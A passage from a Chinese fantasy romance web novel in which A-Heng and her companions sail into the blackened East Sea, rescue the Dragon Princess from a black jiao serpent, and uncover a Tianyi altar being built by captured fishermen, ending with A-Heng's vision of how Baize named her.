时隔许久,霖娘与阿姮终于重逢,她坐在床边,拉着阿姮的手说:“你走后,我和积玉,还有无晦子道长他们一块儿缠着酆水水伯,他是神仙,又不好对我们下重手,被我们缠得烦得不了了,后来,是无晦子道长他们找到机会,让我和积玉先走,我们一路也不敢停,只是天上的雷网太密,积玉被我连累,不能御风,我……我实在没想到在这儿遇见你们。” 霖娘说着又要哭了:“你嫌我来得慢,是不是你路上受什么苦了?” 阿姮愣了一下,然后望着她说:“没有。” “你把程公子治好了?” 霖娘抽抽嗒嗒的。 “是啊,我找了好多的珠宝,那些精纯清气对他很有用,”阿姮想了想,说,“不过,我们还是要快点去赤戎。” 没有神骨,他还是会死。 霖娘却握着她的手慢慢感觉到了点不寻常的温度,她有点不敢置信:“阿姮你的手……怎么是热的?” “因为,”阿姮粲然一笑,“我有了一副血肉做的壳子啊。” 霖娘俯身在阿姮胸前不知听了多久,那种缓缓跳动的声音不断传来,她张大嘴巴,不由喃喃:“天啊……这竟然是真的……” 她们几乎说了一夜的话,天才蒙蒙亮,积玉便来敲门了。 那种熟稔的语气,令阿姮有一瞬觉得他们四个人好像从来也没有分开过。 霖娘给阿姮梳了一个漂亮的发髻,阿姮举着她的菱花小镜看了看,又望向霖娘额角的银鳞,阿姮抬起手朝她额角摸去,霖娘却摇了摇头,在镜中望她:“阿姮,不用了。” 阿姮露出疑惑的神情。 霖娘明明最在乎那片银鳞。 “我已经习惯了,我现在觉得这样挺好的,”霖娘从她手中拿回小镜,一手摸了摸自己的脸,又冲阿姮笑,“我将它当作一种点缀,其实也不算丑,我已经不怕任何人看我了。” 阿姮其实也从来没觉得那片银鳞丑过,只是她见霖娘那样在意,在意到走在人群里总是躲躲闪闪,不敢与任何人对视,阿姮才决定帮她掩藏。 也许霖娘,只是那时候还不能接受自己从一个活生生的人变成水鬼的事实。 两人推门出去,程净竹与积玉已经等在院中,那渔女跪在他们面前,哽咽道:“我爹去了海上,至今不知是死是活,求两位仙长帮帮我!” 渔女应该是夜夜不得安眠,一双眼睛都是肿的。 “龙王身为东海之主,绝不可能放任妖孽横行,”程净竹垂眸看她,“你先起来,即便你不说,我们本也要去一探究竟。” “多谢,多谢仙长!” 那渔女胡乱擦着眼泪,连忙起身。 渔村中剩的人不多了,大都是些老弱病残,他们应该是知道了村中来了修士的消息,阿姮他们出村的路上,这些人便也跟到村口。 积玉一再向他们保证,一定尽力去找他们家人的下落,他们才依依不舍停下来不动了,程净竹和积玉走在前面,霖娘正要拉着阿姮跟上去,昨夜给过阿姮海鲜粥喝的那名老妪却叫住阿姮:“小姑娘。” 阿姮回头看她。 老妪颤颤巍巍抓住她的手腕,将她拉到一边,问她:“你也是个修士吗?” 修士? 阿姮摇头,她当然不是。 “我看你也不像。”老妪说着,从袖中取出一物来递给她。 阿姮定睛一看,赫然便是昨夜她见过的那只蚌壳做的亮晶晶的小碗。 “我昨儿夜里还以为你是饿了,后来想想,你是不是喜欢这个?”老妪说话有点慢吞吞的,“我儿子阿生之前从海上带回来一个大蚌,那大蚌产了粉色的珍珠,别提多好看了,他把珍珠卖了给我治病,又把蚌壳磨成个小碗给我用……” 老妪絮絮叨叨的。 阿姮垂眸盯着她递来的小碗:“你要送给我?” “阿生不在,我也没几天了,你喜欢,就拿着吧。”老妪说着,将那小碗塞到阿姮手中。 若是从前,阿姮一定开开心心地收下,但此刻,她却觉得这只小碗拿在手中,竟然有点烫手。 就像,那枚玉章一样烫手。 老妪不知她在想些什么,抬头望了望那黑衣少年的背影,叹了口气说:“你一路跟着那仙长,又不敢靠近,连话也不敢说上一句……这又是何苦呢?从邕宁国到这儿,多么远的路啊。” ……啊? 阿姮抬眸看她。 “你对一个修道之人这样痴心,那他呢?他肯为你还俗吗?” 老妪佝偻着背,仰着脸问。 阿姮竟然从她脸上看到关切。 阿姮终于明白过来这个老婆婆是什么意思,不禁微微一笑:“他若为我还俗,谁又去替你找你的儿子阿生呢?” 老妪却缓缓摇头,她那张老得到处都是褶皱的脸已经看不出来多少喜悲,连苍老的声音也很平静:“阿生已经死了。” 阿姮一愣。 此刻她才忽然发觉,原来这个老婆婆根本没有期望过他们可以帮她找回她的儿子,她并不相信汹涌的浪涛之下,她的阿生还有生还的可能。 她早已经绝望。 风中有些咸腥的海味,阿姮盯着老妪皱皱巴巴的脸,最终将那只蚌壳碗塞回老妪手里,她转过身扔下一句: “也许,他会回来的。” 第77章 第77章 “我叫阿姮!” 东海广袤, 横约三千里,纵至五千里,其中大小岛屿无计,多的是浓雾弥漫, 人迹罕至的绝境, 而这小小渔村临靠的不过是这东海最不起眼的一隅, 阿姮一行四人行至海边,天上雷电如织,海上一片怒涛汹涌, 程净竹如从前那般往海水中投下玉刺, 玉刺入水许久, 却毫无音讯。 “这老龙王果真傲慢。” 阿姮双手抱臂, 遥望海面。 “东海之主雄踞一方,又是真龙之身, 自然倨傲, ”程净竹抬眸扫向那片汹涌浪涛,“但他确是治理东海的明君, 他不想理会我们自然可以不理, 但此地就算再偏, 也是他的海域, 我们之前来此, 龙王虽不肯来见,却有虾兵在水下暗自查看,而今这水下安安静静, 龙宫的海兵似乎无一在此驻守。” 阿姮闻言,周身浮出红雾,红雾浸入水中, 很快浪涛像被烧沸一般,一些鱼虾蹦跳出海面,但很显然,它们并不是成精的那些。 “那我们该怎么办?” 积玉眉头皱了皱:“东海辽阔,水下更是深邃难勘,龙王杳无音信,我们也不知那龙宫的所在,又该如何查清这些渔民失踪的真相?” 海风猎猎,程净竹并起双指,一张白符自袖中飞出轻飘飘落在水面顷刻化为一只大船,他回过头,说道:“既然人是在海上失踪的,那么我们便去海上找。” 如今已没有更好的办法了。 四人登上船去,霖娘挨着阿姮站在船尾,抬头望一眼船头,积玉与程净竹站在一处,正施展术法操控大船行进,霖娘心中早就觉得怪怪的,她转过脸,忍不住问道:“阿姮,我早就想问了,你和程公子之间……到底是怎么了?” 阿姮一屁股坐下去,靠着船舷,一手撑着脑袋:“没怎么啊。” 海风实在太急了,阿姮忍不住眯了眯眼睛,目光却定在那道颀长的背影,一点儿不愿挪开。 “没怎么?” 霖娘才不相信呢,她蹲在阿姮面前,挡住阿姮的视线,“要真的没怎么,你为什么一路上都离他那么远?阿姮,想想你以前什么样。” 阿姮被她挡住视线,有点烦:“我以前什么样?” “你以前都拼命往上凑,恨不得挂人家身上!” 霖娘越说是越奇怪了,“你们到底怎么了?是你惹他生气了,还是他惹你生气了?” “没生气,我没生他的气,他也没生我的气,我仅仅只是……”阿姮手肘仍抵在船舷上,海风鼓动她鲜红如烈火的宽大衣袖,她稍稍偏过头,视线越过霖娘,再度落到那个人的后背,说,“不想他喜欢我。” ……什么? 霖娘简直以为自己听错了:“这都什么跟什么?他喜欢你不好吗?” 阿姮的声音很轻:“你还记得积玉说过什么吗?” 霖娘起初有些迷茫,但望着阿姮的脸,她忽然想起之前岐山种种,想起程净竹的真实身份,霖娘的神情凝滞了一瞬,她反应过来:“戒痕……若没有了戒痕,他便也没有了性命。” 霖娘曾听积玉说过,上清紫霄宫并不强求弟子断尘缘,若修行不悟,仍舍不下红尘,尽可抹去戒痕,还于世俗,上清紫霄宫的宫规从来不会苦困于人,但偏偏慈济真君当年是以这戒痕作为封印才保住程净竹的性命。 宫规,戒痕,上清紫霄宫中任何人只要想,便可以放得下,但程净竹不行。 船行得急,卷起来层层水浪淋漓,霖娘忽然不知自己该说些什么了,她看着阿姮,顺着阿姮的目光,她亦看向那黑衣少年的背影,霖娘心中实在有些不是滋味,曾在黑水村中,霖娘从一开始便知道阿姮初见程净竹便对他很是好奇,霖娘不知道那是因为什么,她觉得,也许是阿姮初识美丑之际,对一张好看的脸的天然向往,见惯阿姮围着他打转,霖娘也习惯帮着她去争取心悦之人的真心,可她帮着帮着,到最后却眼睁睁看着阿姮走入了一个死胡同。 为什么会这样呢? 明明阿姮才第一次喜欢一个人,可她的喜欢,却成为了那个人的催命符。 阿姮并不像霖娘那样想很多,她盯着程净竹那副挺拔的背影,从前他的胸前总有一串很漂亮的水青宝珠,宝珠垂下来一串背云,压过他的后背,顺着他的脊线垂下晶莹的珠玉,飘逸的流苏。 但那串宝珠碎了,在岐山的时候碎了大半,在那间客栈里又不知道为什么碎了个彻底,如今他襟前空空,背后也再没有那样漂亮的饰物。 “你要一直这样下去吗?” 霖娘的声音忽然落来耳边。 “是啊,”阿姮一手撑着脸,“我要一直这样,离他远一点,不跟他……不对,是少跟他说话,少看他的眼睛,必要的时候,我还得多惹他生气,把他气得七窍生烟……说不定到时他对我动的心就变成了杀心……” 阿姮弯起眼睛:“那才好呢。” “……” 霖娘真是冷汗都要下来了,她转过脸,再度看向程净竹,海上风雾漫漫,天水似乎相接,她说道:“可是阿姮,你还不明白,动情并不是那么简单的一件事,倘若没有那样的缘分,任你千回百转也无法撼动一副铁石心肠,但若是有缘,无论你做多少准备,无论你想如何防备,一切,都在瞬息之间。” “因为人心是这世间最不受控的东西,你也许可以守得住你自己,但你绝对无法预料他的心中到底在想些什么。” 阿姮愣了一下,海上风雾越来越大,阴沉沉的天色中,她鬓边的浅发被吹得乱飞,她盯着那个黑衣少年,浓墨般的云海仿佛要压下来,他的衣摆几乎要与其融为一色。 ……他的心中,到底在想些什么。 阿姮莫名在心底重复着霖娘的这句话,倏忽之间,那黑衣少年回过头来,一片浓沉的风雾中,他那双清冷漂亮的眼对上她的目光。 他的神情总是那样冷静。 冷静到阿姮从来也辨不清他到底都在想些什么,可偏偏他的那双眼睛却仿佛总能洞悉什么,敏锐又冷冽。 阿姮忽然转过脸,看向船舷下方荡开的层层水浪。 泠泠水声中,珠饰碰撞的清音越来越近,阿姮没抬头,却听霖娘喊了声:“积玉,我来帮你吧!” 霖娘一溜烟儿跑到船头去了。 “你在想什么?” 他的声音响起。 阿姮余光瞥见他越来越近,凶巴巴道:“你站住。” 程净竹步履一顿。 阿姮抬起脸,盯住他:“小神仙,在客栈的时候我已经跟你说得很清楚了,不是吗?我们之间是不可以太近的。” 海风卷起他宽大的衣袖,他似乎面无表情,那双沉静的眼凝视她片刻,她警告之声犹在耳,他却瞥一眼甲板,横长的线条多像是她划定的不可逾越的鸿沟,他云淡风轻地踏过去,朝她逼近。 阿姮皱起眉头:“你……” “没用的。” 他的声音那样平静,突兀地打断阿姮,凛冽的风吹得他衣摆乱拂,黑压压的一片阴云底下,风雾都那么的浑浊,他那张苍白的脸上仍然没有什么表情,他在她面前站定,那双眼睛盯住她:“你这样做,一点用都没有。” “好啊,那你告诉我,什么是有用的?” 阿姮扬起下巴。 在阿姮自己的理解中,只要她不看他的眼睛,她这颗刚长出来的心脏就可以跳得不那么快,只要她不缠在他的身边,她就可以自在地看他的背影,而不被他的神情扰乱心绪,她把自己的心情全都收起来,收到他的背后,不让他发现,他便也不会受任何影响。 如果这些都没用,那么到底什么是有用的? 阿姮希望他能够教她。 可是此刻,他居高临下,以一双幽深的眸子凝视她,浓而长的睫毛更在他眼下投了片晦暗的阴影,神情难辨,他始终不发一言,阿姮的脸莫名灼烧起来,她一下转过脸躲开他的目光,任由凛冽的海风吹拂脸颊,终得片刻喘息之机。 阿姮垂眸视线不禁随船舷而下,却见漾漾粼波竟漆黑如墨,此时,船头传来积玉的声音:“小师叔!你们快看这海水……” 程净竹的视线随阿姮而动,早在积玉开口之前他便已经得见海水异样,他们以术法行船至此,离岸边应已有百里之遥,钻入这层浑浊的风雾,方才见这海水漆黑,几乎与天一色。 “这水……真像是黑水河……” 霖娘望向船下水浪,不禁说道。 湿冷的风雾扑在脸上,阿姮一下站起身,她嗅到风中淡淡地味道,船越是往前,海水便越是浑浊发黑,而阿姮实在是太熟悉这种颜色了,她曾在那条黑水河里待了很久很久:“这水有跟黑水河一样的味道。” 她绝不会认错。 可东海为什么会有黑水河的味道? 船行得愈急,卷起浪花涛涛,风声愈盛,仔细听,却从中听出些森然冷冽的击打之声,程净竹立在船上身形未动,周身金光淡淡,眼前浓烈的风雾无端被撕开长长的裂缝,那裂缝蜿蜒而去,天边雷声轰隆,流火闪动,刹那照亮远处掠过的几簇影子。 最前面那道影子似乎是个女子,她足尖点水,氤氲之中身影凌空拔去,紧追而来的那数道影子若在水中滑行的鱼,随她拔高的身影而迅速移动,身形裹着水浪陡然往上,黑水若锁链环绕住那女子的脖颈,腰腹,脚踝。 雷声炸响,那女子的身影被锁链撕扯着骤然化成一条青龙,青龙发出啸鸣,仰天奋力挣扎,那数道黑影一朝不防,齐齐被硬生生从水中扯上去,上空的雷电炸响,冷白的电光瞬间点燃他们的身躯,这片海域顿时响起扭曲的惨叫。 “那难道是……龙公主吗!” 霖娘见那青龙悬在半空仍被道道锁链纠缠,她来不及多想,立即扬起手中的菱花小镜,涛涛水浪在镜光中黑如长练飞扬而去,缠住那些锁链,往后猛拽。 积玉反应很快,他不再忙着操控行船,回身掐诀召出金剑,金剑化出数柄分身,趁霖娘拉拽锁链之际,道道金芒劈下,锁链应声而断,落到水面,化于无形,激荡起千层浪花。 那些被天雷撕扯的黑影齐齐转身,对准他们的方向,顷刻融化入水,紧接着,水下沉闷的声音飞快朝船下而来,阿姮与程净竹几乎同时出手,万木春与白符齐齐入水,金电飞快蔓延在水面,轰然一声响,炸起惊涛巨浪,阿姮四人同时飞身而起,下一瞬,大船被水浪冲得散了架,金电如网,网起一条巨大的黑蛟,那黑蛟整个身躯都被迫收束于金网之中,程净竹的白符化成了光障,无论他如何疯狂撞击金网也始终难以突破,金网中勾缠的金电则烧得他皮开肉绽,散发缕缕黑气。 “你这东西还会幻化那么多个分身呢。” 阿姮抬手,万木春回到她手中,她盯着那金网中的黑蛟,语带好奇。 黑蛟发出尖锐的怒嚎,周身黑气越来越浓,身形顿时更为巨大,竟然顷刻将那金网光障撑破,他血红着一双眼,猛然冲向阿姮。 正是此时,那青龙却迅捷飞来,龙睛含怒,长啸一声,青蓝色的光影裹挟海水凝成冰凌,万箭齐发,穿透黑蛟庞大的身躯,血雾飞溅,黑蛟骤然坠入海面,激起的水浪如暴雨般淋漓落下,鲜红的血悄无声息地被黑色的海水淹没无痕。 阿姮的鼻息几乎被这血腥味笼罩,但她却对这黑蛟的血没有半分欲望,这东西实在太腥,太臭。 “又是火种的味道。” 阿姮早辨出那黑蛟身上的黑气。 青龙凌空盘旋游弋,在一阵青蓝色的光影中化成一个女子的身形,她挽着螺髻,额边两个龙角上似乎覆着亮闪闪的颜色,如珊瑚一般漂亮,此女子赫然便是当初劝东海龙王赐给霖娘宝衣的龙女。 她裙摆带风,一张脸苍白如纸,颊边还沾着鲜红的血迹,她望向半空中的几人,除那身背金剑的青年与那红衣少女她不认识之外,余下两人,竟都是故人。 龙女微微垂首:“想不到我与诸位还有再见之机,今日,多谢你们出手相助。” “公主快别这么说,若不是公主当日赐我宝衣,霖娘只怕也无法在这世间自在行走,”霖娘飞身上前,端详龙女这般虚弱之态,“只是公主为何会被这黑蛟追杀?到底发生什么事了?” 此时,程净竹忽而扬手,金芒钻入浑浊的海水带出一物来,那东西状如金刚杵,却通体漆黑,中间机窍缓缓转动,程净竹只轻轻一拨弄,其中数道飞钩瞬间掠出,钻入水中卷起浪花凝成锁链飞浮空中,仿佛只要他一声令下,那锁链尾端的金钩便将势如破竹。 “这是……天衣人的水系法器——摄魂杵?”得见如此一幕,积玉立即想起自己曾在上清紫霄宫藏书楼中看过的古籍,坍鸿之后,天衣人没来得及毁去的东西有很多,无论是法器还是丹药,都在上清紫霄宫的手中造福了此间凡人,药王殿传天衣法器残卷入世,使世间玄门又多了一层降妖伏魔的倚仗,但那部分最精密,最神秘的法器却被天衣人在最后关头毁了个干净,其中正有这摄魂杵,如今,上清紫霄宫也仅仅只有关于它的记载,而没有炼化它的方法。 “如诸位所见,我东海如今……已被天衣贼人占据。” 龙女神色凄哀。 阿姮自察觉那黑蛟身上的黑气便知道这东海如今的模样定然与天衣人脱不了干系,但她还是有些费解:“你父王不是东海之主么?这纵横几千里的海域,不知多少子民,何其风光啊,甚至那天帝都不能使你父王称臣,如此雄主,怎么就如此轻易地被天衣人占了老巢?” 阿姮说话实在不动听,可龙女却也并不生气,她苦笑:“天帝仁慈,知我龙族清傲绝不称臣,亦从未相逼,更不曾加罪,每回蟠桃盛会都盛情相邀,我父王亦不曾辜负天帝的这番礼遇,作为东海之主,他公正严明,从不徇私,放眼四海,也唯有我父王可称龙族之首,诚如姑娘所言,有父王在此,东海本不该如此轻易落入贼子之手,但数日前,我父王有一老友来访……” “几百年前,西海龙王敖聿不服父王作为龙族之首惩治他滥杀之罪,游说南海、北海龙王一起叛乱,父王的那名老友虽双目失明,却费尽心力为父王打造了一柄紫金宝剑,又随父王平叛,后来东海大胜,西海龙王敖聿被父王处死,而父王的那名老友却在那场战役中身受重伤,双腿残疾,不良于行……我父王一向傲慢,脾气也不好,但对那老友,他却十分珍重。” “每年秋天他们总要相约对弈,数日前那人来东海赴约,我并不在场,我不知道他们之间发生了什么,我在珊瑚丛中小坐,却听到父王的龙吟……那龙吟震得整个水晶龙宫摇摇欲坠,我跑去大殿,只见到那柄曾助父王在西海之战中无往不利的紫金宝剑深刺我父王胸膛,钉穿他的龙骨……” 龙女咬紧牙关,眼中浸出泪来:“蛇有七寸,我龙族亦有死穴,那紫金宝剑随我父王征战,伴我父王好几百年,已沾染我父王的真龙之气,父王他怎么会对这样一柄贴身宝剑有所防备呢……那人悄无声息地操控它钉住我父王的龙骨,龙宫地下顿时涌出很多黑色的东西,整个龙宫变做我父王的囚笼,海水也因此而越来越漆黑,我龙宫海兵皆因此黑水而死的死,病的病。 而我真龙之身,不受疫病所扰,我虽有幸逃出龙宫,却被那黑蛟偷袭,那摄魂杵伤我一回便掌控我魂息所在,穷追不舍,好在他区区一蛟,不如我熟悉东海海底各处暗域,我与其周旋多日,伺机救我父王,可这海水异变,我根本无法靠近龙宫,今日我又被黑蛟察觉行踪,他手里那摄魂杵又实在厉害,我没有办法,只能跃出海面借天雷杀他……却不想,竟在此遇见你们。” “这黑水到底是怎么来的?我们黑水村也是这样,”霖娘想起自己的家乡,那个黑山黑水的诡谲之地,“所有的水源都是黑的,就连天上下雨,落下来的雨滴也是黑的,人吃了便会病,会死,如果没有璧……” 霖娘忽然住嘴,望向程净竹。 如果没有神骨化成的那些晶莹剔透的璧髓,黑水村中的人绝无法繁衍生息至今,没有人比霖娘更知道这黑水的厉害。 “天衣人因紫目神窍而不死不灭,只要紫目神窍还在,即便血肉之躯无存,他们一样可以借器而生,坍鸿后期,九仪率众与天衣神王血战,最终也只能将天衣人封印于赤戎。” 程净竹一伸手,那悬在半空中的摄魂杵落到他手中:“紫目神窍难以摧毁,只有在摧毁他们血肉之躯的瞬息之间以至坚之物阻断其中机窍的运转,抓住那微妙的时机粉碎紫火,紫火熄灭,他们的神魂才会彻底消散。” 他放眼望去,海水黑沉,风雾盛大:“天衣人虽死,但他们的不甘,怨憎,都会遗留在他们的血肉,还有紫目神窍之中,化成瘟疫,剧毒,赤戎因此而成为黑山黑水,生机微薄之地,若我猜得不错,在你们龙族化形占据东海之前,此处是一处坍鸿时期的古战场,也可以说,是天衣人的埋骨地。” 天衣人借器而生,难杀难灭,但这并不意味坍鸿时期他们便没有伤亡,摧毁紫目神窍是很难,但九仪仍一力杀穿了天衣人长生不灭的春秋大梦。 古战场,天衣人的埋骨地。 海风阵阵呼啸,阿姮鲜红的裙摆随风而荡,她缓缓看向身旁的程净竹,他知道赤戎的黑山黑水是怎么来的,他也知道怎样才能彻底摧毁紫目神窍,是因为……他本来便是赤戎一战的唯一亲历者么? “我在东海长大,这纵横几千里没有我不曾去过的地方……”龙女惊谔极了,“可我怎么一直没发现东海底下有什么天衣人的痕迹?” “天衣人若想刻意隐藏,你们发现不了也实属正常,毕竟,在你们了解东海之前,东海,乃至整个世间都属于他们。” 程净竹说道。 “那么他的目的呢?数千年前天衣人的血肉,法器化成的瘟疫,剧毒如今才被彻底释放出来,他到底要做什么?” 积玉眉头紧皱:“还有那些失踪的渔民,公主,您可知道他们到底遭遇了什么?” 龙女落到水面,朝他们招手:“你们随我来。” 话音落,龙女如一条灵巧的鱼儿钻入海水之中,霖娘飞快地跟了上去,她水鬼之身,入水自然轻快,阿姮却在半空迟迟未动。 “怎么了?” 程净竹的声音落来。 阿姮抬头:“我讨厌水。” 她本属火,却在一条黑水河中被禁锢了很久很久,今日,她方才意识到原来是天衣人的怨戾困住了她,可为什么……他们的怨戾可以将她困在黑水之中那么长的岁月? 忽然,额头被贴上一样东西,那是一张洁白的符纸,海风吹得符纸猎猎,她望着面前的黑衣少年,一个晃神,被他抓住手,倾身往海面砸去。 积玉还未修成金身,凡人之躯难免要被那黑水所伤,他连忙服了一粒避水丹,化出一张符纸来一巴掌拍到额头,顺着阿姮与程净竹入海激起的浪花而扎进去。 入水的刹那,阿姮终于知道额头白符的作用,它沾上海水便碎成金光,结成个半透明的泡泡,将她整个人包裹其中。 在泡泡里,没有任何海水,她穿过泡泡被程净竹握着的那只手却在陪他一起经受水流的冲刷,他并没有给自己也弄个泡泡玩儿,整个人浸润在漆黑的海水之中,衣摆随流而动,那副轮廓也如流墨般不甚明晰。 他忽然松开阿姮,她的手立即被泡泡容纳,浊黑的水珠顺着她白皙的指节一滴滴垂落,阿姮被散发着淡淡金光的泡泡推着随他往前。 阿姮觉得很好玩儿。 她戳了好几下泡泡,它也不破,俨然是一个只属于她的小小世界。 “不能再往前了。” 最前面的龙女停在一片丰茂的水草之中,几人顺着水草的缝隙,随龙女所指的方向望去,只见不远处竟矗立着一座四四方方的高台,那些因黑水而病的海兵在其中上上下下,拖着残躯拉拽石料,运送精铁。 高台之下,里三层外三层都是各类水生的妖,他们一面呵斥着那些海兵动作快些,一面聚在一块儿享尽膏粱。 阿姮仔细一瞧,那高台之上漂浮着好多颗泡泡,泡泡里盛满人影,那些人手里拿着各式用具,正在雕刻一些她根本看不懂的东西。 那像是什么复杂的符纹,祭台上涌动着浊黑的气流,阿姮盯着那团交织的气流,只见其中出现一只血红的眼,那眼睛一眨,骤然被黑气裹覆,消失不见。 阿姮浑身一僵,总觉得自己被那只诡异的眼睛看了一眼,她没由来的头皮发麻。 “自我父王被他们控制住以后,这些妖便在此修建这高台,因嫌海兵技艺不精,他们便将那些出海捕鱼的渔民全都抓了过来,要他们没日没夜地刻那些东西,他们尚有被利用的余地,还不至于有性命之忧,而我龙宫海兵却病死无计……” 龙女攥紧了指节。 “他们修这个做什么?这到底是个什么东西?” 霖娘怎么也看不出。 积玉沉思片刻,不确定地说道:“看起来……像是一个祭台?” “祭台?” 霖娘更不解了:“天衣人为什么要在这里修建祭台呢?” “这些妖怪得了天衣人的恩赐,身上又有天衣人的法宝,你们若想救人,只怕没那么简单。” 龙女说着,转过身,衣摆轻轻拂过水草,她敏锐地回头,只见水草中暗光闪动,竟然浮现出一张巨网。 “什么人!” 祭台下,有妖怪敏锐暴喝。 “快跑!” 龙女喊道。 巨网从水草中彻底显形,扑向他们,霖娘在水中比积玉灵敏得多,她立即化出水流缠住积玉,拽着他躲开,阿姮则与程净竹同时擦网而过,程净竹扯下腰间的法绳将龙女带出,那巨网落下,大片水草顿时化为灰烬。 强烈的气流激荡着海水,龙女化成青龙驮着四人飞快往深海里去,阿姮回头瞥一眼那些凶相毕露,紧追而来的妖怪,她抬抬手指,红雾漫出泡泡,顺水流而漫向四周,他们所过之处,海水沸腾,浑浊难辨。 龙女实在是太熟悉东海了,她灵敏地穿越几重幽隙,终于摆脱了那些追兵,阿姮坐在龙背上,垂眸望向底下那片幽暗的水域,那里有一片亮闪闪的珊瑚丛,鲜红的颜色被点点莹光映衬,在这片黑水之中显得格外艳丽。 珊瑚丛的尽头连接着一片奇异的花海,那些花一簇紧挨着一簇,洁白得像雪,在一片淡淡得光影之中,又透出玉一样的光泽,在如此深邃的,荒僻的地方,竟然璀璨得晃人眼,阿姮看见那些花芯结着一粒又一粒浑圆的珠子,令她想起渔村那个老婆婆所说的粉色的珍珠。 阿姮被那片花丛晃得眼花,却想,若是将它们穿成一个珠串给小神仙戴,一定很好看。 她的眼睛越来越花。 目光却似长在了那花丛中。 额头有处地方烫得她很疼,她似乎嗅到那片花丛的香味,有一种熟悉的,隐秘的味道令她的眩晕更重。 毫无预兆的,阿姮猛然从龙背上栽倒下去。 “阿姮!” 霖娘吃了一惊,大喊。 阿姮整个人包裹在一颗泡泡里,她隐约听到霖娘惊慌的声音,眼前却并不清晰,她知道自己在下坠,却竟然迟缓到做不出任何反应,朦胧中,她见到一个人从龙背上跃下来,他抛出银光冷冽的法绳缠住她的腰身,青蘅草的味道随着他伸来的那只手而紧紧簇拥她,他侵入她的泡泡里,将她拉到怀里,却随她坠向那片花丛。 花丛却忽然动了,它们不约而同地展露出藏在花瓣之中的森寒利齿,龙背上积玉飞出金剑,与那银尾法绳同时碾碎大片花丛。 阿姮木然地坠入一潭潮湿的,污浊的泥里,她的一切感官都像被这污泥淹没,她什么也听不到,什么也看不到了。 混沌之中,她看到一只眼睛。 无穷无尽的黑暗里,那只眼睛始终阴冷地注视着她。 阿姮觉得自己神魂都在颤栗,莫大的恐惧紧紧地裹住她,她的脑子里有无数道声音在尖声叫嚣。 “快跑!” “千万不要被抓住!不要!” 阿姮嗅到这种极致的危险味道,她想要跑,却不知道自己这团模糊的意识该往哪里去,她觉得自己好沉,像被什么拖拽着,怎么也动不了,漆黑之中,那只注视着她的眼睛眨了一下,一道平静的,轻缓的声音刺痛她的脑海: “你想去哪儿?” 阿姮像被什么撕扯,她觉得自己像一粒渺小的尘埃被狂风裹挟,刹那之间,她像被投入了另一片黑暗中。 又是那种潮湿的味道,滴水的声音,她像存在于一片狭窄的幽隙,以一副小小的,雾做的身躯轻盈地飘动。 “你不是小草?” 阿姮听见这副身躯忽然发出声音,比她稚嫩太多:“可是……可是我原来见过的草明明也像你这样亮晶晶的一簇,他们说,那是什么……金絮草。” 阿姮听着她的声音,竟然感同身受地领会她的迷茫。 “金絮草是因怨戾而生的异草,自然与寻常花草不同。” 少年的声音响起,阿姮随这副躯体的目光,看到了那漂浮的,一寸长的金焰,里面似乎有一道轮廓模糊的影子。 他的光芒照不亮这山石之间深邃的黑。 “那你是什么呢?” 阿姮听见她稚嫩的声音。 那金焰闪烁,少年沉默了一会儿,说:“我叫白泽。” “白泽……”她重复着念了两遍,“白泽是什么?” “是我的名字。” “名字?” “名字是只属于自己的独特标识,是你之所以是你,而有别于其他任何人的印记,正如我的名字是我父亲赠予,这个名字从此便是我的印记。” “所有人……都有名字吗?”她似懂非懂,“那他们叫我‘东西’,这样说来,‘东西’就是我的名字了?” “不,那不是你的名字,”少年说道,“那是他们对你的轻蔑,占有,利用,名字应当是亲近之人赠予你来到这个世上的第一件礼物。” “可是,我来到这个世上,并没有人送我这样的礼物,”她想了想,轻盈地落到那寸金焰前,她以一副雾气凝成的模糊轮廓凑近,“‘东西’不是我的名字,那你来给我一个名字吧。” 金焰中,似乎有一道影子随闪动的焰光在凝视她,山石裂隙中流水滴答,浑浊雾色轻轻浮动,少年想了想,说:“我给你讲过许多故事,你最喜欢《奔月》。” 金焰散出淡淡金芒,化成一个金光闪闪的“姮”字。 “阿姮,便是你的名字。” “阿……姮,”雾气凝成的女孩念了一遍,姮,是姮娥的姮,是她最喜欢的漂亮仙子的姮,她像一只鸟儿一样飞来飞去,“我有名字了!我的名字叫阿姮!” “我叫阿姮!” 女孩稚嫩的,雀跃的声音钻入阿姮的耳心,刺得她剧痛非常,她的思绪骤然被这道重复的,欢欣的声音碾碎,恍惚之间,一切仿佛归于死寂,她觉得自己轻飘飘的像风,飞出了那片无尽深邃,无尽压抑的山石深处。 可那道稚嫩的声音始终盘桓在她的脑海: “阿姮,我叫阿姮。” 这声音像汹涌奔腾的骇浪不断将她淹没,可激荡的浪涛之中,她又隐约听到另一道声音。 “阿姮!” 那道声音不断地唤她:“阿姮,醒一醒。” 阿姮缓缓睁开眼睛,望见一张神清骨秀的脸。 泥潭之中残花瓣瓣,雪白的残瓣闪烁着漂亮的莹光,点缀幽暗的深海,她裹了满身的湿泥,在不沾寸污的黑衣少年怀里,她呆滞的目光长久地凝在他的脸上,程净竹伸手抹开她脸颊上的湿泥,用衣袖擦她的脸,她的眼皮,她的额头,可她靠近鬓发的那处有几点泥痕却无论如何也擦不掉,像烙印一般,深刻至极,他的手指拂过她眼尾,触碰到湿润的泪意。 程净竹的手忽然顿住了。 忽然,阿姮一把攥住他的衣襟,他没有任何防备,猛然倾身,一个近在咫尺的距离,她那双暗红的眼睛死死地盯住他。 第78章 第78章 “你老提积玉干什么?烦死了…… 078: 暗流钻过洁泽的花丛, 百花瑟缩着蕊瓣,收起利齿,根摇花动,一时生出更多晶莹的碎光, 程净竹垂眸, 阿姮攥住他衣襟的指节用力到泛白, 他再度抬眼,如此近的距离,他看到她这张沾着污泥的, 脏兮兮的一张脸, 看到她那副奇怪的神情, 那样紧绷的下颌, 还有……那样一双暗红而妖异的眼睛。 这些,都无声昭示着她此时的心绪极度不平静。 一点泥水顺着她的眉往下将要落到她的眼皮, 程净竹伸手触碰到她眼皮的刹那, 她却猛然往后一避,程净竹的手悬在半空, 此时, 积玉与霖娘落到潭边, 霖娘急忙喊道:“阿姮, 你们没事吧?” 阿姮听见霖娘的声音, 攥住程净竹衣襟的手凝红雾而用力,一把将程净竹推开,程净竹落到潭边, 踉跄后退两步,抬眸见阿姮缓缓从花丛中站起来,她整个人仍在那颗泡泡之中, 乌黑的泥水顺着她的衣袖,裙摆滴滴答答。 